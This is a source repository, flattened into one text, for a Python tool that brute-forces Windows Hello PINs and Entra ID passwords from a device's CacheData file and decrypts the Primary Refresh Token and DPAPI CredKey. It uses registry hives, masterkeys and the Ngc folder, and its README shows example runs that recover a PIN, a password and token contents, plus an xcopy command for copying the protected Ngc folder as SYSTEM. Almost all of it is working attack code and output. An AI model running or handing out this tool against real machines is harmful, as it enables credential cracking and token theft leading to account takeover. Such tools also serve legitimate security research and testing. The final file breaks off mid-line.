├── requirements.txt ├── scripts ├── dpapi_cred_key.py ├── dump_cachedata.py ├── bruteforce_password.py ├── cryptokeys_decrypt.py ├── parse_cachedata.py ├── parser_data.py └── decrypt_cachedata_pin.py ├── decrypt_cachedata.py └── README.md /requirements.txt: -------------------------------------------------------------------------------- 1 | dpapick3>=0.3.3 2 | wheel 3 | pytz 4 | pyOpenSSL 5 | lxml 6 | hexdump 7 | -------------------------------------------------------------------------------- /scripts/dpapi_cred_key.py: -------------------------------------------------------------------------------- 1 | import dpapick3.eater as eater 2 | 3 | class DPAPICredKeyBlob(eater.DataStruct): 4 | def __init__(self, raw): 5 | eater.DataStruct.__init__(self, raw) 6 | 7 | def parse(self, data): 8 | self.dwBlobSize = data.eat("L") 9 | self.dwField4 = data.eat("L") 10 | self.dwCredKeyOffset = data.eat("L") 11 | self.dwCredKeySize = data.eat("L") 12 | self.Guid = "%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B") 13 | assert data.ofs == self.dwCredKeyOffset 14 | self.CredKey = data.eat_string(self.dwCredKeySize) 15 | -------------------------------------------------------------------------------- /scripts/dump_cachedata.py: -------------------------------------------------------------------------------- 1 | from cryptography import x509 2 | from cryptography.hazmat.backends import default_backend 3 | from cryptography.hazmat.primitives import serialization 4 | from cryptography.hazmat.primitives.asymmetric import rsa 5 | from scripts.parse_cachedata import parse_cache_data 6 | from scripts.decrypt_cachedata_pin import NgcAsymetricKeyEncryptedBlob, ScardCacheDataBlob, parse_pin_crypto_blob, parse_scard_crypto_blob 7 | import hexdump 8 | 9 | def dump_cache_data(file_path): 10 | cache_data_node_list = parse_cache_data(file_path) 11 | print('[+] Dumping entries from CacheData') 12 | for entry in cache_data_node_list: 13 | try: 14 | if entry.is_node_type_password(): 15 | print('[+] CacheData node of type password (0x1) has been found') 16 | print('Dumping cryptoBlob') 17 | hexdump.hexdump(entry.cryptoBlob) 18 | print('\n') 19 | elif entry.is_node_type_pin(): 20 | print('[+] CacheData node of type PIN (0x5) has been found') 21 | scard_blob : ScardCacheDataBlob = None 22 | rsa_pub_key: rsa.RSAPublicKey = None 23 | ngc_asym_key_blob : NgcAsymetricKeyEncryptedBlob = None 24 | scard_blob, rsa_pub_key, ngc_asym_key_blob = parse_pin_crypto_blob(entry.cryptoBlob) 25 | print('[+] Dumping ScardCacheDataBlob from cryptoBlob') 26 | print(scard_blob) 27 | print('[+] Dumping NgcAsymetricKeyEncryptedBlob') 28 | print(ngc_asym_key_blob) 29 | print('\n') 30 | elif entry.is_node_type_scard(): 31 | print('[+] CacheData node of type Scard (0x4) has been found') 32 | scard_blob : ScardCacheDataBlob = None 33 | x509_cert : x509.Certificate = None 34 | scard_enc_key : bytes = None 35 | scard_blob, x509_cert, scard_enc_key = parse_scard_crypto_blob(entry.cryptoBlob) 36 | print('[+] Dumping ScardCacheDataBlob from cryptoBlob') 37 | print(scard_blob) 38 | cert_val = x509_cert.public_bytes(serialization.Encoding.PEM) 39 | print('[+] Dumping x509 cert (Microsoft Smartcard Login)') 40 | print(str(cert_val, 'us-ascii')) 41 | print('\n') 42 | # TODO: dump scard_enc_key once format is supported 43 | else: 44 | print(f'[+] CacheData node of type (0x{entry.get_node_type():x}) is not supported\n') 45 | except Exception as e: 46 | print('[-] Error when trying to parse entry: ' + str(e)) 47 | -------------------------------------------------------------------------------- /scripts/bruteforce_password.py: -------------------------------------------------------------------------------- 1 | import json 2 | import hmac 3 | import hashlib 4 | from cryptography.hazmat.backends import default_backend 5 | from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC 6 | from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes 7 | from cryptography.hazmat.backends import default_backend 8 | from cryptography.hazmat.primitives import hashes 9 | from typing import List 10 | from scripts.parse_cachedata import CacheDataNode, parse_cache_data 11 | from scripts.dpapi_cred_key import DPAPICredKeyBlob 12 | import struct 13 | import hexdump 14 | 15 | def bruteforce(arguments): 16 | file_path = arguments.CacheData 17 | cache_data_node_list : List[CacheDataNode] = parse_cache_data(file_path) 18 | cache_data_node_password = None 19 | for entry in cache_data_node_list: 20 | if entry.is_node_type_password(): 21 | cache_data_node_password = entry 22 | break 23 | if cache_data_node_password is None: 24 | raise Exception('No node of type password (0x1) found in CacheData file') 25 | print('[+] CacheData node of type password (0x1) has been found') 26 | enc_data = cache_data_node_password.encryptedPRTBlob 27 | success = False 28 | for password in arguments.passwords: 29 | if arguments.verbose: 30 | print("Trying: " + password + "\n") 31 | password_array = password.encode('utf-16-le') 32 | secret = get_pbkdf2(password_array) 33 | if arguments.verbose: 34 | print(secret) 35 | default_iv = b'\x00' * 16 36 | decrypted_blob = aes_decrypt(enc_data,secret,default_iv) 37 | version, flags, dword3, raw_dpapi_cred_key_size = struct.unpack(" bytes: 7 | reg = registry.Regedit() 8 | secrets = reg.get_lsa_secrets(arguments.security, arguments.system) 9 | dpapi_system = secrets.get('DPAPI_SYSTEM')['CurrVal'] 10 | mkp = masterkey.MasterKeyPool() 11 | mkp.loadDirectory(arguments.masterkeydir) 12 | mkp.addSystemCredential(dpapi_system) 13 | #decrn = mkp.try_credential_hash(None, None) 14 | mkp.try_credential_hash(None, None) 15 | 16 | for root, _, files in os.walk(arguments.keys): 17 | for sFile in files: 18 | filepath = os.path.join(root, sFile) 19 | with open(filepath, 'rb') as f: 20 | file_data = f.read() 21 | sInfo, arrFieldData = parser_data.parseFile(file_data) 22 | blobPrivateKeyProperties = arrFieldData[1] 23 | pkpBlob = blob.DPAPIBlob(blobPrivateKeyProperties) 24 | mks = mkp.getMasterKeys(pkpBlob.mkguid.encode()) 25 | for mk in mks: 26 | if mk.decrypted: 27 | pkpBlob.decrypt(mk.get_key(), entropy = b'6jnkd5J3ZdQDtrsu\x00') 28 | if pkpBlob.decrypted: 29 | arrPrivateKeyProperties = parser_data.parsePrivateKeyProperties(pkpBlob.cleartext.hex()) 30 | 31 | blobPrivateKey = arrFieldData[2] 32 | pkBlob = blob.DPAPIBlob(blobPrivateKey) 33 | mks = mkp.getMasterKeys(pkBlob.mkguid.encode()) 34 | for mk in mks: 35 | if sInfo == protector: 36 | if mk.decrypted: 37 | pkBlob.decrypt(mk.get_key(), entropy = b'xT5rZW5qVVbrvpuA\x00', strongPassword=None) 38 | if pkBlob.decrypted: 39 | print('[+] Private Key decrypted : ') 40 | print(' ' + pkBlob.cleartext.hex()) 41 | else: 42 | for sProperty in arrPrivateKeyProperties: 43 | if sProperty['Name'].decode('UTF-16LE',errors='ignore') == 'NgcSoftwareKeyPbkdf2Salt': sSalt = sProperty['Value'].hex() 44 | elif sProperty['Name'].decode('UTF-16LE',errors='ignore') == 'NgcSoftwareKeyPbkdf2Round': iRounds = int(parser_data.reverseByte(sProperty['Value']).hex(),16) 45 | (pkResult, sPIN) = brutePIN(arguments, mk, pkBlob, sSalt, iRounds, bf) 46 | if pkResult and pkResult.decrypted: 47 | if arguments.verbose: 48 | print('[+] Private Key decrypted: ' + pkBlob.cleartext.hex()) 49 | return pkBlob.cleartext 50 | else: 51 | if sPIN: 52 | print('[-] Decryption with PIN tried but failed') 53 | else: 54 | print('[-] Entropy unknown for ' + pkBlob.description.decode()) 55 | return None 56 | 57 | def decryptWithPIN(mk, pkBlob, sSalt, iRounds, sPIN) -> bytes: 58 | sHexPIN = '' 59 | if not len(sPIN) == 64: 60 | sHexPIN = sPIN.encode().hex().upper().encode('UTF-16LE').hex() 61 | else: 62 | sHexPIN = sPIN.upper().encode('UTF-16LE').hex() 63 | bPIN = hashlib.pbkdf2_hmac('sha256', bytes.fromhex(sHexPIN), bytes.fromhex(sSalt), iRounds).hex().upper().encode('UTF-16LE') 64 | bPIN = hashlib.sha512(bPIN).digest() 65 | pkBlob.decrypt(mk.get_key(), entropy = b'xT5rZW5qVVbrvpuA\x00', smartCardSecret = bPIN) 66 | return pkBlob 67 | 68 | 69 | def brutePIN(arguments, mk, pkBlob, sSalt, iRounds, bf): 70 | success = False 71 | for PIN in arguments.pins: 72 | if arguments.verbose: 73 | print("Trying: " + PIN + "\n") 74 | pkResult = decryptWithPIN(mk, pkBlob, sSalt, iRounds, PIN) 75 | if pkResult.decrypted: 76 | if bf: 77 | print('\n[+] Found PIN: ' + PIN) 78 | success = True 79 | return (pkResult, PIN) 80 | if bf and not success: 81 | print('[+] End of bruteforce, no valid PIN found.') 82 | return (pkBlob, '') 83 | -------------------------------------------------------------------------------- /scripts/parse_cachedata.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import struct 3 | import hashlib 4 | import os 5 | import dpapick3.eater as eater 6 | from enum import IntEnum 7 | from typing import List 8 | 9 | class CacheNodeType(IntEnum): 10 | PASSWORD = 1 # Cryptoblob is the output of DeriveKeyFromSecret 11 | UNKNOW_TWO = 2 12 | UNKNOW_THREE = 3 13 | SCARD = 4 # CryptoBlob is decrypted by _DecryptWithSCard (Microsoft Smartcard Login) 14 | PIN_NGC = 5 # CryptoBlob is decrypted by _DecryptWithNgc () 15 | 16 | class CacheDataNodeHeader(eater.DataStruct): 17 | def __init__(self, raw): 18 | eater.DataStruct.__init__(self, raw) 19 | 20 | def parse(self, data): 21 | self.dwNodeType = data.eat("L") 22 | self.dwCryptoBlobSize = data.eat("L") 23 | self.dwField8 = data.eat("L") 24 | self.dwEncryptedPRTSize = data.eat("L") 25 | self.dwField10 = data.eat("L") 26 | 27 | 28 | class CacheDataNode: 29 | def __init__(self, header : CacheDataNodeHeader): 30 | self._header : CacheDataNodeHeader = header 31 | self._cryptoBlob : bytes = None 32 | self._encryptedPrtBlob : bytes = None 33 | 34 | @property 35 | def cryptoBlob(self): 36 | return self._cryptoBlob 37 | 38 | @cryptoBlob.setter 39 | def cryptoBlob(self, value): 40 | self._cryptoBlob = value 41 | 42 | @property 43 | def encryptedPRTBlob(self): 44 | return self._encryptedPrtBlob 45 | 46 | @encryptedPRTBlob.setter 47 | def encryptedPRTBlob(self, value): 48 | self._encryptedPrtBlob = value 49 | 50 | def get_node_type(self) -> int: 51 | return self._header.dwNodeType 52 | 53 | def is_node_type_password(self) -> bool: 54 | return self.get_node_type() == CacheNodeType.PASSWORD 55 | 56 | def is_node_type_pin(self) -> bool: 57 | return self.get_node_type() == CacheNodeType.PIN_NGC 58 | 59 | def is_node_type_scard(self) -> bool: 60 | return self.get_node_type() == CacheNodeType.SCARD 61 | 62 | def parse_cache_data(file_path) -> List[CacheDataNode]: 63 | cache_data_node_list : List[CacheDataNode] = list() 64 | print(f'[+] Parsing CacheData file {file_path}') 65 | with open(file_path, "rb") as f: 66 | file_size = f.seek(0, os.SEEK_END) 67 | f.seek(0, os.SEEK_SET) 68 | # First 4 byte is a version number 69 | (version,) = struct.unpack(" /H /E /G /C as SYSTEM. The 10 | script will automatically iterates on each Entra ID user who has logged in on 11 | the device. If you want to bruteforce the PIN for only one user, use the --sid 12 | parameter. 13 | 14 | positional arguments: 15 | {pin,password} Available subparser (pin or password) 16 | pin BF pin. 17 | password BF password. 18 | dump Dump CacheData header. 19 | 20 | options: 21 | -h, --help show this help message and exit 22 | ``` 23 | 24 | ## Installation 25 | 26 | Create a Python3 virtual env and install the requirements: 27 | 28 | ``` 29 | python3 -m venv ./my_venv 30 | source ./my_venv/bin/activate 31 | pip3 install -r requirements.txt 32 | ``` 33 | 34 | ## Example 35 | 36 | ### PIN 37 | 38 | Example to bruteforce a PIN, and decrypt the PRT + DPAPI CredKey. 39 | 40 | Ensure to gather all required files and directories: 41 | 42 | ``` 43 | ls -ld CacheData secrets/Ngc/ PIN.txt secrets/system secrets/security secrets/Crypto/Keys/ secrets/masterkey/ 44 | -rw-r--r-- 1 user user 14036 Feb 15 11:12 CacheData 45 | -rw-r--r-- 1 user user 21 Apr 22 10:56 PIN.txt 46 | drwx------ 2 user user 4096 Feb 15 09:59 secrets/Crypto/Keys/ 47 | drwxr-xr-x 2 user user 4096 Apr 8 21:57 secrets/masterkey/ 48 | drwx------ 3 user user 4096 Feb 15 09:58 secrets/Ngc/ 49 | -rwxr-xr-x 1 user user 40960 Apr 8 21:56 secrets/security 50 | -rwxr-xr-x 1 user user 12734464 Apr 8 21:56 secrets/system 51 | ``` 52 | 53 | Start the script with the ``pin`` argument and all required files and directories: 54 | 55 | ``` 56 | python3 decrypt_cachedata.py pin -C CacheData -N secrets/Ngc/ -P PIN.txt \ 57 | --system secrets/system --security secrets/security --keys secrets/Crypto/Keys/ \ 58 | --masterkey secrets/masterkey/ 59 | 60 | [+] Found PIN: 123456 61 | [+] Parsing CacheData file CacheData 62 | [+] CacheData file version is 0x2 63 | [+] CacheData expected sha256: e56c1ec9d053dfd0618aaed1f5bd0ebbaecf9ed11917a526d5714b7c86101423 64 | [+] CacheData computed sha256: e56c1ec9d053dfd0618aaed1f5bd0ebbaecf9ed11917a526d5714b7c86101423 65 | [+] Parsing Cache node headers 66 | [+] Found CacheNode of type 0x1, CryptoBlobSize = 0x30, EncryptedPRTSize = 0x18d0 67 | [+] Found CacheNode of type 0x5, CryptoBlobSize = 0x3d7, EncryptedPRTSize = 0x1970 68 | [+] Parsing raw blob 69 | [+] Found blob of size 0x30 (offset = 0x80/0x36d4) 70 | [+] Found blob of size 0x18d0 (offset = 0xb4/0x36d4) 71 | [+] Found blob of size 0x3d7 (offset = 0x1988/0x36d4) 72 | [+] Found blob of size 0x1970 (offset = 0x1d64/0x36d4) 73 | [+] CacheData node of type PIN (0x5) has been found 74 | [+] RSA decrypt encrypted AES key 1 75 | [+] AES decrypt encrypted AES key 2 76 | [+] AES decrypt encrypted blob of size 0x1970 (DPAPI CredKey + PRT) 77 | [+] Dumping raw DPAPI Cred key, with GUID c0c17f7a-2b1e-43ff-a739-f698b29469b5 (0x40 bytes): 78 | 00000000: D9 00 C8 20 3A 6E FB 10 EC AD AD 3A 02 28 31 7C ... :n.....:.(1| 79 | 00000010: E4 31 4E 09 A0 CC BE 96 1D 31 FA C5 42 AF CC 56 .1N......1..B..V 80 | 00000020: 70 32 6B 1F A3 94 F8 15 B8 63 5A B2 69 A8 ED 07 p2k......cZ.i... 81 | 00000030: D4 71 1C 96 8F 49 18 64 23 0F 30 16 6C 6D 1B CE .q...I.d#.0.lm.. 82 | [+] Dumping decrypted PRT file: 83 | { 84 | "Version": 3, 85 | "UserInfo": { 86 | "Version": 2, 87 | "UniqueId": "57d07212-f77d-402f-90b1-f590b8890bb4", 88 | "PrimarySid": "S-1-12-1-1473278482-1076885373-2432020880-3020655032", 89 | .... 90 | } 91 | ... 92 | } 93 | ``` 94 | 95 | ### Password 96 | 97 | Example to bruteforce a password, and decrypt the PRT + DPAPI CredKey. 98 | 99 | Start the script with the ``password`` argument and provide the CacheData file and password list: 100 | 101 | ``` 102 | python3 decrypt_cachedata.py password -C CacheData -P password.txt 103 | 104 | [+] Parsing CacheData file CacheData 105 | [+] CacheData file version is 0x2 106 | [+] CacheData expected sha256: e56c1ec9d053dfd0618aaed1f5bd0ebbaecf9ed11917a526d5714b7c86101423 107 | [+] CacheData computed sha256: e56c1ec9d053dfd0618aaed1f5bd0ebbaecf9ed11917a526d5714b7c86101423 108 | [+] Parsing Cache node headers 109 | [+] Found CacheNode of type 0x1, CryptoBlobSize = 0x30, EncryptedPRTSize = 0x18d0 110 | [+] Found CacheNode of type 0x5, CryptoBlobSize = 0x3d7, EncryptedPRTSize = 0x1970 111 | [+] Parsing raw blob 112 | [+] Found blob of size 0x30 (offset = 0x80/0x36d4) 113 | [+] Found blob of size 0x18d0 (offset = 0xb4/0x36d4) 114 | [+] Found blob of size 0x3d7 (offset = 0x1988/0x36d4) 115 | [+] Found blob of size 0x1970 (offset = 0x1d64/0x36d4) 116 | [+] CacheData node of type password (0x1) has been found 117 | [+] Password: 'P@ssw0rd!' 118 | [+] Dumping raw DPAPI Cred key, with GUID c0c17f7a-2b1e-43ff-a739-f698b29469b5 (0x40 bytes): 119 | 00000000: D9 00 C8 20 3A 6E FB 10 EC AD AD 3A 02 28 31 7C ... :n.....:.(1| 120 | 00000010: E4 31 4E 09 A0 CC BE 96 1D 31 FA C5 42 AF CC 56 .1N......1..B..V 121 | 00000020: 70 32 6B 1F A3 94 F8 15 B8 63 5A B2 69 A8 ED 07 p2k......cZ.i... 122 | 00000030: D4 71 1C 96 8F 49 18 64 23 0F 30 16 6C 6D 1B CE .q...I.d#.0.lm.. 123 | [+] Dumping decrypted PRT file: 124 | { 125 | "Version": 3, 126 | "UserInfo": { 127 | "Version": 2, 128 | "UniqueId": "57d07212-f77d-402f-90b1-f590b8890bb4", 129 | "PrimarySid": "S-1-12-1-1473278482-1076885373-2432020880-3020655032", 130 | .... 131 | } 132 | ... 133 | } 134 | ``` 135 | 136 | ## Credits 137 | 138 | PRT decryption based on password (i.e not PIN) was already implemented in the 139 | script [PRT_Utils.ps1](https://github.com/Gerenios/AADInternals/blob/49a9659b60672f08428e72148b66dfe4629562da/PRT_Utils.ps1#L858) 140 | from [AADInternals](https://github.com/Gerenios/AADInternals) repository. 141 | 142 | Also, our script uses several code snippets directly extracted from 143 | [dpapilab-ng](https://github.com/tijldeneut/dpapilab-ng) repository. 144 | -------------------------------------------------------------------------------- /scripts/parser_data.py: -------------------------------------------------------------------------------- 1 | import os 2 | from Crypto.PublicKey import RSA 3 | from Crypto.Cipher import PKCS1_v1_5 4 | 5 | 6 | 7 | def fileToList(fileName): 8 | lineList = [] 9 | try: 10 | fileParser = open(fileName, 'r') 11 | 12 | except IOError: 13 | print(" Error opening file : " + fileName) 14 | 15 | except: 16 | print(" Error accessing file : " + fileName) 17 | 18 | 19 | for line in fileParser.readlines(): 20 | newLine = line.replace('\n', '') 21 | lineList.append(newLine) 22 | 23 | return lineList 24 | 25 | def reverseByte(bByteInput): 26 | sReversed = '' 27 | sHexInput = bByteInput.hex() 28 | for x in range(-1, -len(str(sHexInput)), -2): sReversed += sHexInput[x-1] + sHexInput[x] 29 | return bytes.fromhex(sReversed) 30 | 31 | def parseProtectors(sPath, verbose): 32 | arrProtectors = [] 33 | for protector in os.listdir(sPath): 34 | arrProtector = [] 35 | arrProtector.append(protector) 36 | with open(os.path.join(sPath, protector, '1.dat'), 'rb') as f: 37 | arrProtector.append(f.read().decode('utf16').strip('\x00')) 38 | try: 39 | with open(os.path.join(sPath, protector, '2.dat'), 'rb') as f: 40 | arrProtector.append(f.read().decode('utf16').strip('\x00')) 41 | except: 42 | arrProtector.append('') 43 | print('[-] Protector is being stored in the TPM chip.') 44 | arrProtectors.append(arrProtector) 45 | with open(os.path.join(sPath, protector, '15.dat'), 'rb') as f: arrProtector.append(f.read()) 46 | 47 | if verbose: 48 | print('[+] Provider : ' + arrProtector[1]) 49 | print('[+] Key Name : ' + arrProtector[2]) 50 | return arrProtectors 51 | 52 | def parseItems(sPath, verbose): 53 | arrHeadItems = [] 54 | for sFolder in os.listdir(sPath): 55 | if not sFolder.startswith('{'): continue 56 | if len(os.listdir(os.path.join(sPath, sFolder))) <= 1: continue 57 | arrHeadItems.append(sFolder) 58 | if verbose: print('= ' + sFolder + ' =') 59 | for sSubFolder in os.listdir(os.path.join(sPath, sFolder)): 60 | if sSubFolder.startswith('{'): continue 61 | ## filename, name, provider, keyname 62 | arrSubItems = [] 63 | arrSubItems.append(sSubFolder) 64 | with open(os.path.join(sPath, sFolder, sSubFolder, '1.dat'), 'rb') as f: arrSubItems.append(f.read().decode('utf16').strip('\x00')) 65 | with open(os.path.join(sPath, sFolder, sSubFolder, '2.dat'), 'rb') as f: arrSubItems.append(f.read().decode('utf16').strip('\x00')) 66 | with open(os.path.join(sPath, sFolder, sSubFolder, '3.dat'), 'rb') as f: arrSubItems.append(f.read().decode('utf16').strip('\x00')) 67 | arrHeadItems.append(arrSubItems) 68 | if verbose: 69 | print('* ' + arrSubItems[0]) 70 | print('[+] Name : ' + arrSubItems[1]) 71 | print('[+] Provider : ' + arrSubItems[2]) 72 | print('[+] Key Name : ' + arrSubItems[3]) 73 | print('') 74 | return arrHeadItems 75 | 76 | 77 | def extract_NGC_data(arguments): 78 | try: 79 | GUIDs = os.listdir(arguments.NGC) 80 | except: 81 | print('Failed. On a live system, are you running as SYSTEM? To extract the NGC folder: xcopy C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Ngc\\ C:\\Users\\Public /H /E /G /C') 82 | exit(1) 83 | 84 | for GUID in GUIDs: 85 | with open(os.path.join(arguments.NGC, GUID, '1.dat'), 'rb') as f: 86 | sUserSID = f.read().decode('utf16').strip('\x00') 87 | if arguments.sid and arguments.sid != sUserSID: 88 | continue 89 | if arguments.verbose: 90 | print('\n[+] NGC GUID : ' + GUID) 91 | with open(os.path.join(arguments.NGC, GUID, '1.dat'), 'rb') as f: 92 | sUserSID = f.read().decode('utf16') 93 | print('[+] User SID : ' + sUserSID) 94 | with open(os.path.join(arguments.NGC, GUID, '7.dat'), 'rb') as f: 95 | sMainProvider = f.read().decode('utf16') 96 | 97 | if arguments.verbose: 98 | print('\n[+] Main Provider : ' + sMainProvider) 99 | arrProtectors = parseProtectors(os.path.join(arguments.NGC, GUID, 'Protectors'), arguments.verbose) 100 | arrItems = parseItems(os.path.join(arguments.NGC, GUID), arguments.verbose) 101 | return arrProtectors, arrItems 102 | 103 | def parseFile(bData, boolVerbose = False): 104 | iType = int(reverseByte(bData[:4]).hex(), 16) ## followed by 4 bytes unknown 105 | iDescrLen = int(reverseByte(bData[8:12]).hex(), 16) ## followed by 2 bytes unknown 106 | iNumberOfFields = int(reverseByte(bData[14:16]).hex(), 16) ## followed by 2 bytes unknown 107 | sDescription = bData[44:44+iDescrLen].decode('UTF-16LE',errors='ignore') 108 | if boolVerbose: print('[+] File Descriptor : ' + sDescription) 109 | bRemainder = bData[44+iDescrLen:] ## Start of the data fields 110 | arrFieldData = [] 111 | for i in range(0,iNumberOfFields): 112 | iFieldLen = int(reverseByte(bData[16+(4*i):16+(4*i)+4]).hex(), 16) 113 | bField = bRemainder[:iFieldLen] 114 | arrFieldData.append(bField) 115 | bRemainder = bRemainder[iFieldLen:] 116 | return (sDescription, arrFieldData) 117 | 118 | 119 | def parsePrivateKeyProperties(hPKP, boolVerbose = False): 120 | def parseProperty(bProperty, boolVerbose = False): 121 | bStructLen = bProperty[:4] 122 | iType = int(reverseByte(bProperty[4:8]).hex(), 16) 123 | bUnk = bProperty[8:12] 124 | iNameLength = int(reverseByte(bProperty[12:16]).hex(), 16) 125 | iPropLength = int(reverseByte(bProperty[16:20]).hex(), 16) 126 | bName = bProperty[20:(20+iNameLength)] 127 | bProperty = bProperty[(20+iNameLength):(20+iNameLength+iPropLength)] 128 | if boolVerbose: 129 | print('Name : ' + bName.decode('UTF-16LE',errors='ignore')) 130 | print('Value : ' + bProperty.hex()) 131 | return {'Name':bName, 'Value':bProperty} 132 | 133 | bRest = bytes.fromhex(hPKP) 134 | arrProperties = [] 135 | while not bRest == b'': 136 | iSize = int(reverseByte(bRest[:4]).hex(), 16) 137 | bProperty = bRest[:iSize] 138 | bRest = bRest[iSize:] 139 | arrProperties.append(parseProperty(bProperty)) 140 | return arrProperties 141 | 142 | def constructRSAKEY(sDATA, verbose): 143 | def calcPrivateKey(e,p,q): 144 | def recurseFunction(a,b): 145 | if b==0:return (1,0) 146 | (q,r) = (a//b,a%b) 147 | (s,t) = recurseFunction(b,r) 148 | return (t, s-(q*t)) 149 | t = (p-1)*(q-1) ## Euler's totient 150 | inv = recurseFunction(e,t)[0] 151 | if inv < 1: inv += t 152 | return inv 153 | 154 | ## Parsing based on: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/540b7b8b-2232-45c8-9d7c-af7a5d5218ed 155 | bDATA = bytes.fromhex(sDATA) 156 | if not bDATA[:4] == b'RSA2': exit('[-] Error: not an RSA key!') 157 | iBitlen = int(reverseByte(bDATA[4:8]).hex().encode(),16) 158 | iPubExpLen = int(reverseByte(bDATA[8:12]).hex().encode(),16) 159 | iModulusLen = int(reverseByte(bDATA[12:16]).hex().encode(),16) 160 | iPLen = int(reverseByte(bDATA[16:20]).hex().encode(),16) 161 | iQLen = int(reverseByte(bDATA[20:24]).hex().encode(),16) 162 | iOffset = 24 163 | iPubExp = int(reverseByte(bDATA[iOffset:iOffset+iPubExpLen]).hex().encode(),16) 164 | iOffset += iPubExpLen 165 | iModulus = int(bDATA[iOffset:iOffset+iModulusLen].hex().encode(),16) 166 | iOffset += iModulusLen 167 | iP = int(bDATA[iOffset:iOffset+iPLen].hex().encode(),16) 168 | iOffset += iPLen 169 | iQ = int(bDATA[iOffset:iOffset+iQLen].hex().encode(),16) 170 | if verbose: 171 | print('[!] BitLength : ' + str(iBitlen) + ' bit') 172 | print('[!] Modulus Length : ' + str(iModulusLen) + ' bytes') 173 | print('[!] Prime Lengths : ' + str(iPLen) + ' bytes') 174 | if not iModulus == iP*iQ: exit('[-] Prime numbers do not currespond to the public key') 175 | iPrivateKey = calcPrivateKey(iPubExp, iP, iQ) 176 | try: oRSAKEY = RSA.construct((iModulus,iPubExp,iPrivateKey,iP,iQ)) ## oRSAKEY = RSA.construct((n,e,d,p,q)) 177 | except: exit('[-] Error constructing RSA Key') 178 | return oRSAKEY 179 | 180 | 181 | def parseDecryptPin(bData, verbose): 182 | if len(bData)<(32*3): exit('[-] Decrypted data not long enough') 183 | bUnkPin = bData[-(32*3):-(32*2)] 184 | bDecryptPin = bData[-(32*2):-32] 185 | bSignPin = bData[-32:] 186 | if verbose: 187 | print('Unknown PIN : ' + bUnkPin.hex()) 188 | print('Decrypt PIN : ' + bDecryptPin.hex()) 189 | print('Sign PIN : ' + bSignPin.hex()) 190 | return bDecryptPin 191 | 192 | 193 | def extract_decryptPin(key, bInputData, verbose): 194 | oRSAKEY = constructRSAKEY(key.hex(), verbose) 195 | oCipher = PKCS1_v1_5.new(oRSAKEY) 196 | try: bClearText = oCipher.decrypt(bInputData, b'') 197 | except: exit('[-] Error decrypting the inputdata') 198 | bDecryptPin = parseDecryptPin(bClearText, verbose) 199 | if verbose: 200 | print('[+] Got DecryptPIN : ' + bDecryptPin.hex().upper()) 201 | return bDecryptPin -------------------------------------------------------------------------------- /scripts/decrypt_cachedata_pin.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import struct 3 | import hmac 4 | import hashlib 5 | import json 6 | from typing import List 7 | import hexdump 8 | import binascii 9 | from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes 10 | from cryptography.hazmat.primitives.asymmetric import rsa, padding 11 | from cryptography.hazmat.backends import default_backend 12 | from cryptography import x509 13 | from scripts.parse_cachedata import parse_cache_data, CacheDataNode 14 | from scripts.dpapi_cred_key import DPAPICredKeyBlob 15 | import dpapick3.eater as eater 16 | 17 | class BcryptRsaKeyBlob(eater.DataStruct): 18 | """ 19 | // https://learn.microsoft.com/fr-fr/windows/win32/api/bcrypt/ns-bcrypt-bcrypt_rsakey_blob 20 | typedef struct _BCRYPT_RSAKEY_BLOB { 21 | ULONG Magic; 22 | ULONG BitLength; 23 | ULONG cbPublicExp; 24 | ULONG cbModulus; 25 | ULONG cbPrime1; 26 | ULONG cbPrime2; 27 | } BCRYPT_RSAKEY_BLOB; 28 | 29 | BCRYPT_RSAKEY_BLOB 30 | PublicExponent[cbPublicExp] // Big-endian. 31 | Modulus[cbModulus] // Big-endian. 32 | """ 33 | 34 | # From bcrypt.h -> #define BCRYPT_RSAPRIVATE_MAGIC 0x32415352 35 | BCRYPT_RSAPRIVATE_MAGIC = 0x32415352 # 'RSA2' 36 | # From bcrypt.h -> #define BCRYPT_RSAPUBLIC_MAGIC 0x31415352 37 | BCRYPT_RSAPUBLIC_MAGIC = 0x31415352 # 'RSA1' 38 | 39 | def __init__(self, raw): 40 | eater.DataStruct.__init__(self, raw) 41 | 42 | def parse(self, data): 43 | self.Magic = data.eat("L") 44 | self.BitLength = data.eat("L") 45 | self.cbPublicExp = data.eat("L") 46 | self.cbModulus = data.eat("L") 47 | self.cbPrime1 = data.eat("L") 48 | self.cbPrime2 = data.eat("L") 49 | self.PublicExp = int.from_bytes(data.eat_string(self.cbPublicExp), "big") 50 | self.Modulus = int.from_bytes(data.eat_string(self.cbModulus), "big") 51 | if self.Magic == BcryptRsaKeyBlob.BCRYPT_RSAPUBLIC_MAGIC: 52 | assert self.cbPrime1 == 0 and self.cbPrime2 == 0 53 | elif self.Magic == BcryptRsaKeyBlob.BCRYPT_RSAPRIVATE_MAGIC: 54 | assert self.cbPrime1 != 0 and self.cbPrime2 != 0 55 | self.Prime1 = int.from_bytes(data.eat_string(self.cbPrime1), "big") 56 | self.Prime2 = int.from_bytes(data.eat_string(self.cbPrime1), "big") 57 | assert data.ofs == data.end, "Invalid BcryptRsaKeyBlob size" 58 | 59 | def get_rsa_public_key(self) -> rsa.RSAPublicKey: 60 | rsa_pub_num = rsa.RSAPublicNumbers(self.PublicExp, self.Modulus) 61 | return rsa_pub_num.public_key() 62 | 63 | def get_rsa_private_key(self) -> rsa.RSAPrivateKey: 64 | assert self.Magic == 0x32415352 65 | # Compute n = p * q 66 | n = self.Prime1 * self.Prime2 67 | rsa_pub_num = rsa.RSAPublicNumbers(self.PublicExp, n) 68 | # Compute the RSA private exponent (d) 69 | d = rsa._modinv(self.PublicExp, (self.Prime1 - 1) * (self.Prime2 - 1)) 70 | # Computes the dmp1 parameter from the RSA private exponent (d) and prime p 71 | dmp1 = rsa.rsa_crt_dmp1(d, self.Prime1) 72 | # Computes the dmq1 parameter from the RSA private exponent (d) and prime q 73 | dmq1 = rsa.rsa_crt_dmq1(d, self.Prime2) 74 | # Computes the iqmp (also known as qInv) parameter from the RSA primes p and q 75 | iqmp = rsa.rsa_crt_iqmp(self.Prime1, self.Prime2) 76 | rsa_priv_num = 